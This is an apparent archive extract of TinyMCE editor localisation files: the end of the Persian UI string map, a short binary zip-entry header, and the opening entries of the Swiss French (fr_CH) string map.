"Cell properties": "\u0648\u06cc\u0698\u06af\u06cc\u200c\u0647\u0627\u06cc \u0633\u0644\u0648\u0644",
"Merge cells": "\u0627\u062f\u063a\u0627\u0645 \u0633\u0644\u0648\u0644\u200c\u0647\u0627",
"Split cell": "\u062a\u0642\u0633\u06cc\u0645 \u0633\u0644\u0648\u0644 \u062c\u062f\u0648\u0644",
"Insert row before": "\u0627\u0636\u0627\u0641\u0647 \u06a9\u0631\u062f\u0646 \u0633\u0637\u0631 \u062c\u062f\u06cc\u062f \u0642\u0628\u0644 \u0627\u0632 \u0627\u06cc\u0646 \u0633\u0637\u0631",
"Insert row after": "\u0627\u0636\u0627\u0641\u0647 \u06a9\u0631\u062f\u0646 \u0633\u0637\u0631 \u062c\u062f\u06cc\u062f \u0628\u0639\u062f \u0627\u0632 \u0627\u06cc\u0646 \u0633\u0637\u0631",
"Delete row": "\u062d\u0630\u0641 \u0633\u0637\u0631",
"Row properties": "\u0648\u06cc\u0698\u06af\u06cc\u200c\u0647\u0627\u06cc \u0633\u0637\u0631",
"Cut row": "\u0628\u0631\u0634 \u0633\u0637\u0631",
"Copy row": "\u06a9\u067e\u06cc \u0633\u0637\u0631",
"Paste row before": "\u0686\u0633\u0628\u0627\u0646\u062f\u0646 \u0633\u0637\u0631\u060c \u0642\u0628\u0644 \u0627\u0632 \u0627\u06cc\u0646 \u0633\u0637\u0631",
"Paste row after": "\u0686\u0633\u0628\u0627\u0646\u062f\u0646 \u0633\u0637\u0631\u060c \u0628\u0639\u062f \u0627\u0632 \u0627\u06cc\u0646 \u0633\u0637\u0631",
"Insert column before": "\u0627\u0636\u0627\u0641\u0647 \u06a9\u0631\u062f\u0646 \u0633\u062a\u0648\u0646 \u062c\u062f\u06cc\u062f \u0642\u0628\u0644 \u0627\u0632 \u0627\u06cc\u0646 \u0633\u062a\u0648\u0646",
"Insert column after": "\u0627\u0636\u0627\u0641\u0647 \u06a9\u0631\u062f\u0646 \u0633\u062a\u0648\u0646 \u062c\u062f\u06cc\u062f \u0628\u0639\u062f \u0627\u0632 \u0627\u06cc\u0646 \u0633\u062a\u0648\u0646",
"Delete column": "\u062d\u0630\u0641 \u0633\u062a\u0648\u0646",
"Cols": "\u062a\u0639\u062f\u0627\u062f \u0633\u062a\u0648\u0646\u200c\u0647\u0627",
"Rows": "\u062a\u0639\u062f\u0627\u062f \u0633\u0637\u0631\u200c\u0647\u0627",
"Width": "\u0639\u0631\u0636",
"Height": "\u0627\u0631\u062a\u0641\u0627\u0639",
"Cell spacing": "\u0641\u0627\u0635\u0644\u0647\u200c\u06cc \u0628\u06cc\u0646 \u0633\u0644\u0648\u0644 \u0647\u0627",
"Cell padding": "\u062d\u0627\u0634\u06cc\u0647 \u0633\u0644\u0648\u0644 \u0647\u0627",
"Caption": "\u0639\u0646\u0648\u0627\u0646",
"Show caption": "\u0646\u0645\u0627\u06cc\u0634 \u0639\u0646\u0648\u0627\u0646",
"Left": "\u0686\u067e",
"Center": "\u0648\u0633\u0637",
"Right": "\u0631\u0627\u0633\u062a",
"Cell type": "\u0646\u0648\u0639 \u0633\u0644\u0648\u0644",
"Scope": "\u0645\u062d\u062f\u0648\u062f\u0647\u200c\u06cc \u0639\u0646\u0648\u0627\u0646",
"Alignment": "\u0631\u062f\u06cc\u0641 \u0628\u0646\u062f\u06cc \u0646\u0648\u0634\u062a\u0647",
"H Align": "H Align",
"V Align": "V Align",
"Top": "Top",
"Middle": "Middle",
"Bottom": "Bottom",
"Header cell": "\u0633\u0631\u0622\u06cc\u0646\u062f \u0633\u0644\u0648\u0644",
"Row group": "\u06af\u0631\u0648\u0647 \u0633\u0637\u0631",
"Column group": "\u06af\u0631\u0648\u0647 \u0633\u062a\u0648\u0646",
"Row type": "\u0646\u0648\u0639 \u0633\u0637\u0631",
"Header": "\u0633\u0631\u0622\u06cc\u0646\u062f",
"Body": "\u0628\u062f\u0646\u0647",
"Footer": "\u067e\u0627\u0646\u0648\u06cc\u0633",
"Border color": "Border color",
"Insert template...": "\u062f\u0631\u062c \u0627\u0644\u06af\u0648...",
"Templates": "\u0627\u0644\u06af\u0648\u200c\u0647\u0627",
"Template": "\u0627\u0644\u06af\u0648",
"Text color": "\u0631\u0646\u06af \u0645\u062a\u0646",
"Background color": "\u0631\u0646\u06af \u0632\u0645\u06cc\u0646\u0647 \u0645\u062a\u0646",
"Custom...": "Custom...",
"Custom color": "Custom color",
"No color": "No color",
"Remove color": "\u062d\u0630\u0641 \u0631\u0646\u06af",
"Table of Contents": "Table of Contents",
"Show blocks": "\u0646\u0645\u0627\u06cc\u0634 \u0628\u062e\u0634\u200c\u0647\u0627",
"Show invisible characters": "\u0646\u0645\u0627\u06cc\u0634 \u06a9\u0627\u0631\u0627\u06a9\u062a\u0631\u0647\u0627\u06cc \u063a\u06cc\u0631 \u0642\u0627\u0628\u0644 \u0686\u0627\u067e",
"Word count": "\u062a\u0639\u062f\u0627\u062f \u0648\u0627\u0698\u0647\u200c\u0647\u0627",
"Count": "\u0634\u0645\u0627\u0631\u0634",
"Document": "\u0633\u0646\u062f",
"Selection": "\u0627\u0646\u062a\u062e\u0627\u0628",
"Words": "\u06a9\u0644\u0645\u0627\u062a",
"Words: {0}": "\u06a9\u0644\u0645\u0627\u062a : {0}",
"{0} words": "{0} \u0648\u0627\u0698\u0647",
"File": "\u067e\u0631\u0648\u0646\u062f\u0647",
"Edit": "\u0648\u06cc\u0631\u0627\u06cc\u0634",
"Insert": "\u0627\u0636\u0627\u0641\u0647 \u06a9\u0631\u062f\u0646",
"View": "\u0646\u0645\u0627\u06cc\u0634",
"Format": "\u0642\u0627\u0644\u0628",
"Table": "\u062c\u062f\u0648\u0644",
"Tools": "\u0627\u0628\u0632\u0627\u0631\u0647\u0627",
"Powered by {0}": "\u0642\u0648\u062a\u200c\u06af\u0631\u0641\u062a\u0647 \u0627\u0632 {0}",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "\u0648\u06cc\u0631\u0627\u06cc\u0634\u06af\u0631 \u067e\u06cc\u0634\u0631\u0641\u062a\u0647\u200c\u06cc \u0645\u062a\u0646. \u0628\u0631\u0627\u06cc \u062f\u0633\u062a\u0631\u0633\u06cc \u0628\u0647 \u0645\u0646\u0648 \u06a9\u0644\u06cc\u062f\u0647\u0627\u06cc ALT-F9\u060c \u0646\u0648\u0627\u0631 \u0627\u0628\u0632\u0627\u0631 ALT-F10 \u0648 \u0628\u0631\u0627\u06cc \u0645\u0634\u0627\u0647\u062f\u0647\u200c\u06cc \u0631\u0627\u0647\u0646\u0645\u0627 ALT-0 \u0631\u0627 \u0641\u0634\u0627\u0631 \u062f\u0647\u06cc\u062f.",
"Image title": "\u0639\u0646\u0648\u0627\u0646 \u062a\u0635\u0648\u06cc\u0631",
"Border width": "\u0639\u0631\u0636 \u062d\u0627\u0634\u06cc\u0647",
"Border style": "\u0633\u0628\u06a9 \u062d\u0627\u0634\u06cc\u0647",
"Error": "\u062e\u0637\u0627",
"Warn": "\u0647\u0634\u062f\u0627\u0631",
"Valid": "\u0645\u0639\u062a\u0628\u0631",
"To open the popup, press Shift+Enter": "\u062c\u0647\u062a \u0628\u0627\u0632 \u06a9\u0631\u062f\u0646 \u067e\u0646\u062c\u0631\u0647 \u0628\u0627\u0632\u0634\u0648\u060c \u06a9\u0644\u06cc\u062f\u0647\u0627\u06cc Shift + Enter \u0631\u0627 \u0641\u0634\u0627\u0631 \u062f\u0647\u06cc\u062f.",
"Rich Text Area. Press ALT-0 for help.": "\u0646\u0627\u062d\u06cc\u0647 \u0645\u062a\u0646 \u063a\u0646\u06cc. \u062c\u0647\u062a \u0645\u0634\u0627\u0647\u062f\u0647\u0654 \u0631\u0627\u0647\u0646\u0645\u0627 \u06a9\u0644\u06cc\u062f\u0647\u0627\u06cc ALT + 0 \u0631\u0627 \u0641\u0634\u0627\u0631 \u062f\u0647\u06cc\u062f.",
"System Font": "\u0641\u0648\u0646\u062a \u0633\u06cc\u0633\u062a\u0645\u06cc",
"Failed to upload image: {0}": "\u0639\u062f\u0645 \u0645\u0648\u0641\u0642\u06cc\u062a \u062f\u0631 \u0628\u0627\u0631\u06af\u0630\u0627\u0631\u06cc \u062a\u0635\u0648\u06cc\u0631: {0}",
"Failed to load plugin: {0} from url {1}": "\u0639\u062f\u0645 \u0645\u0648\u0641\u0642\u06cc\u062a \u062f\u0631 \u0628\u0627\u0631\u06af\u0630\u0627\u0631\u06cc \u0627\u0641\u0632\u0648\u0646\u0647: {0} \u0627\u0632 \u0646\u0634\u0627\u0646\u06cc \u0648\u0628 {1}",
"Failed to load plugin url: {0}": "\u0639\u062f\u0645 \u0645\u0648\u0641\u0642\u06cc\u062a \u062f\u0631 \u0628\u0627\u0631\u06af\u0630\u0627\u0631\u06cc \u0646\u0634\u0627\u0646\u06cc \u0648\u0628 \u0627\u0641\u0632\u0648\u0646\u0647: {0}",
"Failed to initialize plugin: {0}": "\u0639\u062f\u0645 \u0645\u0648\u0641\u0642\u06cc\u062a \u062f\u0631 \u0631\u0627\u0647\u200c\u0627\u0646\u062f\u0627\u0632\u06cc \u0627\u0641\u0632\u0648\u0646\u0647: {0}",
"example": "\u0645\u062b\u0627\u0644",
"Search": "\u062c\u0633\u062a\u062c\u0648",
"All": "\u0647\u0645\u0647",
"Currency": "\u0627\u0631\u0632",
"Text": "\u0645\u062a\u0646",
"Quotations": "\u0646\u0642\u0644\u200c\u0642\u0648\u0644\u200c\u0647\u0627",
"Mathematical": "\u0631\u06cc\u0627\u0636\u06cc",
"Extended Latin": "\u0644\u0627\u062a\u06cc\u0646 \u06af\u0633\u062a\u0631\u062f\u0647",
"Symbols": "\u0646\u0645\u0627\u062f\u0647\u0627",
"Arrows": "\u067e\u06cc\u06a9\u0627\u0646\u200c\u0647\u0627",
"User Defined": "\u0628\u0647 \u062e\u0648\u0627\u0633\u062a \u06a9\u0627\u0631\u0628\u0631",
"dollar sign": "\u0646\u0645\u0627\u062f \u062f\u0644\u0627\u0631",
"currency sign": "\u0646\u0645\u0627\u062f \u0627\u0631\u0632",
"euro-currency sign": "\u0646\u0645\u0627\u062f \u06cc\u0648\u0631\u0648",
"colon sign": "\u0646\u0645\u0627\u062f \u062f\u0648\u0646\u0642\u0637\u0647",
"cruzeiro sign": "\u0646\u0645\u0627\u062f \u06a9\u0631\u0648\u0632\u06cc\u0631\u0648",
"french franc sign": "\u0646\u0645\u0627\u062f \u0641\u0631\u0627\u0646\u06a9 \u0641\u0631\u0627\u0646\u0633\u0647",
"lira sign": "\u0646\u0645\u0627\u062f \u0644\u06cc\u0631\u0647",
"mill sign": "\u0646\u0645\u0627\u062f \u0645\u06cc\u0644",
"naira sign": "\u0646\u0645\u0627\u062f \u0646\u0627\u06cc\u0631\u0627",
"peseta sign": "\u0646\u0645\u0627\u062f \u067e\u0632\u062a\u0627",
"rupee sign": "\u0646\u0645\u0627\u062f \u0631\u0648\u067e\u06cc\u0647",
"won sign": "\u0646\u0645\u0627\u062f \u0648\u0648\u0646",
"new sheqel sign": "\u0646\u0645\u0627\u062f \u0634\u06a9\u0644 \u062c\u062f\u06cc\u062f",
"dong sign": "\u0646\u0645\u0627\u062f \u062f\u0627\u0646\u06af",
"kip sign": "\u0646\u0645\u0627\u062f \u06a9\u06cc\u067e",
"tugrik sign": "\u0646\u0645\u0627\u062f \u062a\u0648\u06af\u0631\u0648\u06af",
"drachma sign": "\u0646\u0645\u0627\u062f \u062f\u0631\u0627\u062e\u0645\u0627",
"german penny symbol": "\u0646\u0645\u0627\u062f \u067e\u0646\u06cc \u0622\u0644\u0645\u0627\u0646\u06cc",
"peso sign": "\u0646\u0645\u0627\u062f \u067e\u0632\u0648",
"guarani sign": "\u0646\u0645\u0627\u062f \u06af\u0648\u0627\u0631\u0627\u0646\u06cc",
"austral sign": "\u0646\u0645\u0627\u062f \u0622\u0633\u062a\u0631\u0627\u0644",
"hryvnia sign": "\u0646\u0645\u0627\u062f \u06af\u0631\u06cc\u0648\u0646\u0627",
"cedi sign": "\u0646\u0645\u0627\u062f \u0633\u062f\u06cc",
"livre tournois sign": "\u0646\u0645\u0627\u062f \u0644\u06cc\u0648\u0631\u0647 \u062a\u0648\u0631\u0646\u0648\u0627",
"spesmilo sign": "\u0646\u0645\u0627\u062f \u0627\u0633\u067e\u0633\u0645\u06cc\u0644\u0648",
"tenge sign": "\u0646\u0645\u0627\u062f \u062a\u0646\u06af\u0647",
"indian rupee sign": "\u0646\u0645\u0627\u062f \u0631\u0648\u067e\u06cc\u0647 \u0647\u0646\u062f\u06cc",
"turkish lira sign": "\u0646\u0645\u0627\u062f \u0644\u06cc\u0631\u0647 \u062a\u0631\u06a9\u06cc",
"nordic mark sign": "\u0646\u0645\u0627\u062f \u0645\u0627\u0631\u06a9 \u0646\u0631\u0648\u0698",
"manat sign": "\u0646\u0645\u0627\u062f \u0645\u0646\u0627\u062a",
"ruble sign": "\u0646\u0645\u0627\u062f \u0631\u0648\u0628\u0644",
"yen character": "\u0646\u0648\u06cc\u0633\u0647 \u06cc\u0646",
"yuan character": "\u0646\u0648\u06cc\u0633\u0647 \u06cc\u0648\u0627\u0646",
"yuan character, in hong kong and taiwan": "\u0646\u0648\u06cc\u0633\u0647 \u06cc\u0648\u0627\u0646\u060c \u062f\u0631 \u0647\u0646\u06af\u200c\u06a9\u0646\u06af \u0648 \u062a\u0627\u06cc\u0648\u0627\u0646",
"yen\/yuan character variant one": "\u0646\u0648\u06cc\u0633\u0647 \u062c\u0627\u06cc\u06af\u0632\u06cc\u0646 \u06cc\u0646\/\u06cc\u0648\u0627\u0646",
"Loading emoticons...": "\u062f\u0631 \u062d\u0627\u0644 \u0628\u0627\u0631\u06af\u0630\u0627\u0631\u06cc \u0634\u06a9\u0644\u06a9\u200c\u0647\u0627...",
"Could not load emoticons": "\u0634\u06a9\u0644\u06a9\u200c\u0647\u0627 \u0628\u0627\u0631\u06af\u0630\u0627\u0631\u06cc \u0646\u0634\u062f\u0646\u062f",
"People": "\u0627\u0641\u0631\u0627\u062f",
"Animals and Nature": "\u062d\u06cc\u0648\u0627\u0646\u0627\u062a \u0648 \u0637\u0628\u06cc\u0639\u062a",
"Food and Drink": "\u063a\u0630\u0627 \u0648 \u0646\u0648\u0634\u06cc\u062f\u0646\u06cc",
"Activity": "\u0641\u0639\u0627\u0644\u06cc\u062a",
"Travel and Places": "\u0633\u0641\u0631 \u0648 \u0627\u0645\u0627\u06a9\u0646",
"Objects": "\u0627\u0634\u06cc\u0627",
"Flags": "\u067e\u0631\u0686\u0645\u200c\u0647\u0627",
"Characters": "\u0646\u0648\u06cc\u0633\u0647\u200c\u0647\u0627",
"Characters (no spaces)": "\u0646\u0648\u06cc\u0633\u0647 \u0647\u0627 (\u0628\u062f\u0648\u0646 \u0641\u0627\u0635\u0644\u0647)",
"{0} characters": "{0} \u06a9\u0627\u0631\u0627\u06a9\u062a\u0631",
"Error: Form submit field collision.": "\u062e\u0637\u0627: \u062a\u062f\u0627\u062e\u0644 \u062f\u0631 \u062b\u0628\u062a \u0641\u0631\u0645.",
"Error: No form element found.": "\u062e\u0637\u0627: \u0647\u06cc\u0686 \u0627\u0644\u0645\u0627\u0646 \u0641\u0631\u0645\u06cc \u06cc\u0627\u0641\u062a \u0646\u0634\u062f.",
"Update": "\u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc",
"Color swatch": "\u0646\u0645\u0648\u0646\u0647 \u0631\u0646\u06af",
"Turquoise": "\u0641\u06cc\u0631\u0648\u0632\u0647\u200c\u0627\u06cc",
"Green": "\u0633\u0628\u0632",
"Blue": "\u0622\u0628\u06cc",
"Purple": "\u0628\u0646\u0641\u0634",
"Navy Blue": "\u0633\u0631\u0645\u0647\u200c\u0627\u06cc",
"Dark Turquoise": "\u0641\u06cc\u0631\u0648\u0632\u0647\u200c\u0627\u06cc \u062a\u06cc\u0631\u0647",
"Dark Green": "\u0633\u0628\u0632 \u062a\u06cc\u0631\u0647",
"Medium Blue": "\u0622\u0628\u06cc \u0633\u06cc\u0631",
"Medium Purple": "\u0622\u0628\u06cc \u0628\u0646\u0641\u0634",
"Midnight Blue": "\u0622\u0628\u06cc \u0646\u0641\u062a\u06cc",
"Yellow": "\u0632\u0631\u062f",
"Orange": "\u0646\u0627\u0631\u0646\u062c\u06cc",
"Red": "\u0642\u0631\u0645\u0632",
"Light Gray": "\u062e\u0627\u06a9\u0633\u062a\u0631\u06cc \u0631\u0648\u0634\u0646",
"Gray": "\u062e\u0627\u06a9\u0633\u062a\u0631\u06cc",
"Dark Yellow": "\u0632\u0631\u062f \u062a\u06cc\u0631\u0647",
"Dark Orange": "\u0646\u0627\u0631\u0646\u062c\u06cc \u062a\u06cc\u0631\u0647",
"Dark Red": "\u0642\u0631\u0645\u0632 \u062a\u06cc\u0631\u0647",
"Medium Gray": "\u062e\u0627\u06a9\u0633\u062a\u0631\u06cc \u0646\u06cc\u0645\u0647\u200c\u0631\u0648\u0634\u0646",
"Dark Gray": "\u062e\u0627\u06a9\u0633\u062a\u0631\u06cc \u062a\u06cc\u0631\u0647",
"Light Green": "\u0633\u0628\u0632 \u0631\u0648\u0634\u0646",
"Light Yellow": "\u0632\u0631\u062f \u0631\u0648\u0634\u0646",
"Light Red": "\u0642\u0631\u0645\u0632 \u0631\u0648\u0634\u0646",
"Light Purple": "\u0628\u0646\u0641\u0634 \u0631\u0648\u0634\u0646",
"Light Blue": "\u0622\u0628\u06cc \u0631\u0648\u0634\u0646",
"Dark Purple": "\u0628\u0646\u0641\u0634 \u062a\u06cc\u0631\u0647",
"Dark Blue": "\u0622\u0628\u06cc \u062a\u06cc\u0631\u0647",
"Black": "\u0633\u06cc\u0627\u0647",
"White": "\u0633\u0641\u06cc\u062f",
"Switch to or from fullscreen mode": "\u062a\u063a\u06cc\u06cc\u0631 \u0627\u0632 \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645\u200c\u0635\u0641\u062d\u0647 \u06cc\u0627 \u0628\u0647 \u062d\u0627\u0644\u062a \u062a\u0645\u0627\u0645\u200c\u0635\u0641\u062d\u0647",
"Open help dialog": "\u0628\u0627\u0632 \u06a9\u0631\u062f\u0646 \u06a9\u0627\u062f\u0631 \u0631\u0627\u0647\u0646\u0645\u0627",
"history": "\u062a\u0627\u0631\u06cc\u062e\u0686\u0647",
"styles": "\u0633\u0628\u06a9\u200c\u0647\u0627",
"formatting": "\u0642\u0627\u0644\u0628\u200c\u0628\u0646\u062f\u06cc",
"alignment": "\u062a\u0631\u0627\u0632\u0628\u0646\u062f\u06cc",
"indentation": "\u062a\u0648\u0631\u0641\u062a\u06af\u06cc",
"Font": "\u0641\u0648\u0646\u062a",
"Size": "\u0627\u0646\u062f\u0627\u0632\u0647",
"More...": "\u0628\u06cc\u0634\u062a\u0631...",
"Select...": "\u0627\u0646\u062a\u062e\u0627\u0628...",
"Preferences": "\u062a\u0631\u062c\u06cc\u062d\u0627\u062a",
"Yes": "\u0628\u0644\u0647",
"No": "\u062e\u06cc\u0631",
"Keyboard Navigation": "\u0645\u0631\u0648\u0631 \u0628\u0627 \u0635\u0641\u062d\u0647 \u06a9\u0644\u06cc\u062f",
"Version": "\u0646\u0633\u062e\u0647",
"Code view": "\u0646\u0645\u0627\u06cc \u06a9\u062f",
"Open popup menu for split buttons": "\u0645\u0646\u0648\u06cc \u0628\u0627\u0632\u0634\u0648 \u0628\u0631\u0627\u06cc \u062f\u06a9\u0645\u0647 \u0647\u0627\u06cc \u062a\u0642\u0633\u06cc\u0645 \u0634\u062f\u0647 \u0631\u0627 \u0628\u0627\u0632 \u06a9\u0646\u06cc\u062f",
"List Properties": "\u062a\u0646\u0638\u06cc\u0645\u0627\u062a \u0641\u0647\u0631\u0633\u062a",
"List properties...": "\u062a\u0646\u0638\u06cc\u0645\u0627\u062a \u0641\u0647\u0631\u0633\u062a",
"Start list at number": "\u0644\u06cc\u0633\u062a \u0631\u0627 \u062f\u0631 \u0634\u0645\u0627\u0631\u0647 \u0634\u0631\u0648\u0639 \u06a9\u0646\u06cc\u062f",
"Line height": "\u0628\u0644\u0646\u062f\u06cc \u062e\u0637 ",
"comments": "\u0646\u0638\u0631\u0627\u062a",
"Format Painter": "\u0646\u0642\u0627\u0634 \u0641\u0631\u0645\u062a",
"Insert\/edit iframe": "\u062f\u0631\u062c\/\u0648\u06cc\u0631\u0627\u06cc\u0634 iframe",
"Capitalization": "\u062d\u0631\u0648\u0641 \u0628\u0632\u0631\u06af",
"lowercase": "\u062d\u0631\u0648\u0641 \u06a9\u0648\u0686\u06a9",
"UPPERCASE": "\u062d\u0631\u0648\u0641 \u0628\u0632\u0631\u06af",
"Title Case": "\u062d\u0631\u0648\u0641 \u062a\u06cc\u062a\u0631\u06cc",
"permanent pen": "\u0642\u0644\u0645 \u062f\u0627\u0626\u0645\u06cc",
"Permanent Pen Properties": "\u0645\u0634\u062e\u0635\u0627\u062a \u062f\u0627\u0626\u0645\u06cc \u0642\u0644\u0645",
"Permanent pen properties...": "\u0645\u0634\u062e\u0635\u0627\u062a \u062f\u0627\u0626\u0645\u06cc \u0642\u0644\u0645...",
"case change": "\u062a\u063a\u06cc\u06cc\u0631 \u0645\u0648\u0631\u062f",
"page embed": "\u0635\u0641\u062d\u0647 \u062c\u0627\u0633\u0627\u0632\u06cc\u00a0",
"Advanced sort...": "\u0645\u0631\u062a\u0628 \u0633\u0627\u0632\u06cc \u067e\u06cc\u0634\u0631\u0641\u062a\u0647",
"Advanced Sort": "\u0645\u0631\u062a\u0628 \u0633\u0627\u0632\u06cc \u067e\u06cc\u0634\u0631\u0641\u062a\u0647",
"Sort table by column ascending": "\u062c\u062f\u0648\u0644 \u0631\u0627 \u0628\u0631 \u0627\u0633\u0627\u0633 \u0633\u062a\u0648\u0646 \u0628\u0647 \u0635\u0648\u0631\u062a \u0635\u0639\u0648\u062f\u06cc \u0645\u0631\u062a\u0628 \u06a9\u0646\u06cc\u062f",
"Sort table by column descending": "\u062c\u062f\u0648\u0644 \u0631\u0627 \u0628\u0631 \u0627\u0633\u0627\u0633 \u0633\u062a\u0648\u0646 \u0628\u0647 \u0635\u0648\u0631\u062a \u0646\u0632\u0648\u0644\u06cc \u0645\u0631\u062a\u0628 \u06a9\u0646\u06cc\u062f",
"Sort": "\u0645\u0631\u062a\u0628 \u0633\u0627\u0632\u06cc",
"Order": "\u062a\u0631\u062a\u06cc\u0628",
"Sort by": "\u0645\u0631\u062a\u0628 \u0634\u062f\u0647 \u062a\u0648\u0633\u0637",
"Ascending": "\u0635\u0639\u0648\u062f\u06cc",
"Descending": "\u0646\u0632\u0648\u0644\u06cc",
"Column {0}": "\u0633\u062a\u0648\u0646 {0}",
"Row {0}": "\u0631\u062f\u06cc\u0641 {0}",
"Spellcheck...": "\u0628\u0631\u0631\u0633\u06cc \u0627\u0645\u0644\u0627\u06cc\u06cc",
"Misspelled word": "\u06a9\u0644\u0645\u0647 \u063a\u0644\u0637 \u0627\u0645\u0644\u0627\u06cc\u06cc",
"Suggestions": "\u067e\u06cc\u0634\u0646\u0647\u0627\u062f\u0627\u062a",
"Change": "\u062a\u063a\u06cc\u06cc\u0631 \u062f\u0627\u062f\u0646",
"Finding word suggestions": "\u067e\u06cc\u062f\u0627 \u06a9\u0631\u062f\u0646 \u067e\u06cc\u0634\u0646\u0647\u0627\u062f\u0627\u062a \u06a9\u0644\u0645\u0647",
"Success": "\u0645\u0648\u0641\u0642",
"Repair": "\u062a\u0639\u0645\u06cc\u0631",
"Issue {0} of {1}": "\u0645\u0634\u06a9\u0644 {0} \u0627\u0632 {1}",
"Images must be marked as decorative or have an alternative text description": "\u062a\u0635\u0648\u06cc\u0631 \u0647\u0627 \u0628\u0627\u06cc\u062f \u0628\u0647 \u0635\u0648\u0631\u062a \u0646\u0645\u0627\u06cc\u0634\u06cc \u0645\u0634\u062e\u0635 \u0634\u0648\u062f \u06cc\u0627 \u06cc\u06a9 \u0645\u062a\u0646 \u062a\u0648\u0636\u06cc\u062d\u06cc \u062c\u0627\u06cc\u06af\u0632\u06cc\u0646 \u062f\u0627\u0634\u062a\u0647 \u0628\u0627\u0634\u062f",
"Images must have an alternative text description. Decorative images are not allowed.": "\u0639\u06a9\u0633 \u0647\u0627 \u0628\u0627\u06cc\u062f \u06cc\u06a9 \u0645\u062a\u0646 \u062a\u0648\u0636\u06cc\u062d\u06cc \u062f\u0627\u0634\u062a\u0647 \u0628\u0627\u0634\u0646\u062f. \u0639\u06a9\u0633 \u0647\u0627\u06cc \u0646\u0645\u0627\u06cc\u0634\u06cc \u0645\u062c\u0627\u0632 \u0646\u06cc\u0633\u062a\u0646\u062f.",
"Or provide alternative text:": "\u06cc\u0627 \u06cc\u06a9 \u0645\u062a\u0646 \u062c\u0627\u06cc\u06af\u0632\u06cc\u0646 \u062a\u0647\u06cc\u0647 \u06a9\u0646\u06cc\u062f:",
"Make image decorative:": "\u0639\u06a9\u0633 \u0631\u0627 \u0646\u0645\u0627\u06cc\u0634\u06cc \u06a9\u0646\u06cc\u062f:",
"ID attribute must be unique": "\u0634\u0646\u0627\u0633\u0647 \u0635\u0641\u062a \u0628\u0627\u06cc\u062f \u06cc\u06a9\u062a\u0627 \u0628\u0627\u0634\u062f",
"Make ID unique": "\u0634\u0646\u0627\u0633\u0647 \u0631\u0627 \u06cc\u06a9\u062a\u0627 \u06a9\u0646\u06cc\u062f",
"Keep this ID and remove all others": "\u0627\u06cc\u0646 \u0634\u0646\u0627\u0633\u0647 \u0631\u0627 \u0646\u06af\u0647 \u062f\u0627\u0631 \u0648 \u0647\u0645\u0647 \u0634\u0646\u0627\u0633\u0647 \u0647\u0627\u06cc \u062f\u06cc\u06af\u0631 \u0631\u0627 \u062d\u0630\u0641 \u06a9\u0646",
"Remove this ID": "\u0627\u06cc\u0646 \u0634\u0646\u0627\u0633\u0647 \u0631\u0627 \u062d\u0630\u0641 \u06a9\u0646",
"Remove all IDs": "\u062a\u0645\u0627\u0645 \u0634\u0646\u0627\u0633\u0647 \u0647\u0627 \u0631\u0627 \u0627\u0632 \u0628\u06cc\u0646 \u0628\u0628\u0631",
"Checklist": "\u0686\u06a9 \u0644\u06cc\u0633\u062a",
"Anchor": "\u0644\u0646\u06af\u0631 - \u0644\u06cc\u0646\u06a9",
"Special character": "\u06a9\u0627\u0631\u0627\u06a9\u062a\u0631 \u0647\u0627\u06cc \u062e\u0627\u0635",
"Color": "Color",
"Document properties": "\u0648\u06cc\u0698\u06af\u06cc\u200c\u0647\u0627\u06cc \u0633\u0646\u062f",
"Image description": "\u062a\u0648\u0636\u06cc\u062d\u0627\u062a \u0639\u06a9\u0633",
"Image": "\u0639\u06a9\u0633",
"Insert link": "\u0627\u0636\u0627\u0641\u0647 \u06a9\u0631\u062f\u0646 \u0644\u06cc\u0646\u06a9",
"Link": "Link",
"Target": "\u0646\u062d\u0648\u0647 \u0628\u0627\u0632 \u0634\u062f\u0646 \u062f\u0631 \u0645\u0631\u0648\u0631\u06af\u0631",
"Media": "Media",
"Poster": "\u067e\u0648\u0633\u062a\u0631",
"Print": "\u0686\u0627\u067e",
"Whole words": "\u0647\u0645\u0647 \u06a9\u0644\u0645\u0647\u200c\u0647\u0627",
"Find and replace": "\u062c\u0633\u062a\u200c\u0648\u200c\u062c\u0648 \u0648 \u062c\u0627\u06cc\u06af\u0632\u06cc\u0646 \u06a9\u0631\u062f\u0646",
"Prev": "\u0642\u0628\u0644\u06cc",
"Insert template": "\u0627\u0636\u0627\u0641\u0647 \u06a9\u0631\u062f\u0646 \u0627\u0644\u06af\u0648",
"_dir": "rtl"
});PK
h�\�qm��!program/js/tinymce/langs/fr_CH.jsnu�[���tinymce.addI18n('fr_CH',{
"Cut": "Couper",
"Heading 5": "Rubrique 5",
"Header 2": "Titre 2",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "Votre navigateur ne supporte pas la copie directe. Merci d'utiliser les touches Ctrl+X\/C\/V.",
"Heading 4": "Rubrique 4",
"Div": "Div",
"Heading 2": "Rubrique 2",
"Paste": "Coller",
"Close": "Fermer",
"Font Family": "Polices de caract\u00e8res",
"Pre": "Pre",
"Align right": "Aligner \u00e0 droite",
"New document": "Nouveau document",
"Blockquote": "Citation",
"Numbered list": "Num\u00e9rotation",
"Heading 1": "Rubrique 1",
"Headings": "Rubriques",
"Increase indent": "Augmenter le retrait",
"Formats": "Formats",
"Headers": "Titres",
"Select all": "Tout s\u00e9lectionner",
"Header 3": "Titre 3",
"Blocks": "Blocs",
"Undo": "Annuler",
"Strikethrough": "Barr\u00e9",
"Bullet list": "Puces",
"Header 1": "Titre 1",
"Superscript": "Exposant",
"Clear formatting": "Effacer la mise en forme",
"Font Sizes": "Tailles de la police",
"Subscript": "Indice",
"Header 6": "Titre 6",
"Redo": "R\u00e9tablir",
"Paragraph": "Paragraphe",
"Ok": "Ok",
"Bold": "Gras",
"Code": "Code",
"Italic": "Italique",
"Align center": "Aligner au centre",
"Header 5": "Titre 5",
"Heading 6": "Rubrique 6",
"Heading 3": "Rubrique 3",
"Decrease indent": "Diminuer le retrait",
"Header 4": "Titre 4",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "Le presse-papiers est maintenant en mode \"texte plein\". Les contenus seront coll\u00e9s sans retenir les formatages jusqu'\u00e0 ce que vous d\u00e9sactiviez cette option.",
"Underline": "Souligner",
"Cancel": "Annuler",
"Justify": "Justifier",
"Inline": "En ligne",
"Copy": "Copier",
"Align left": "Aligner \u00e0 gauche",
"Visual aids": "Aides visuelles",
"Lower Greek": "Grecque inf\u00e9rieur",
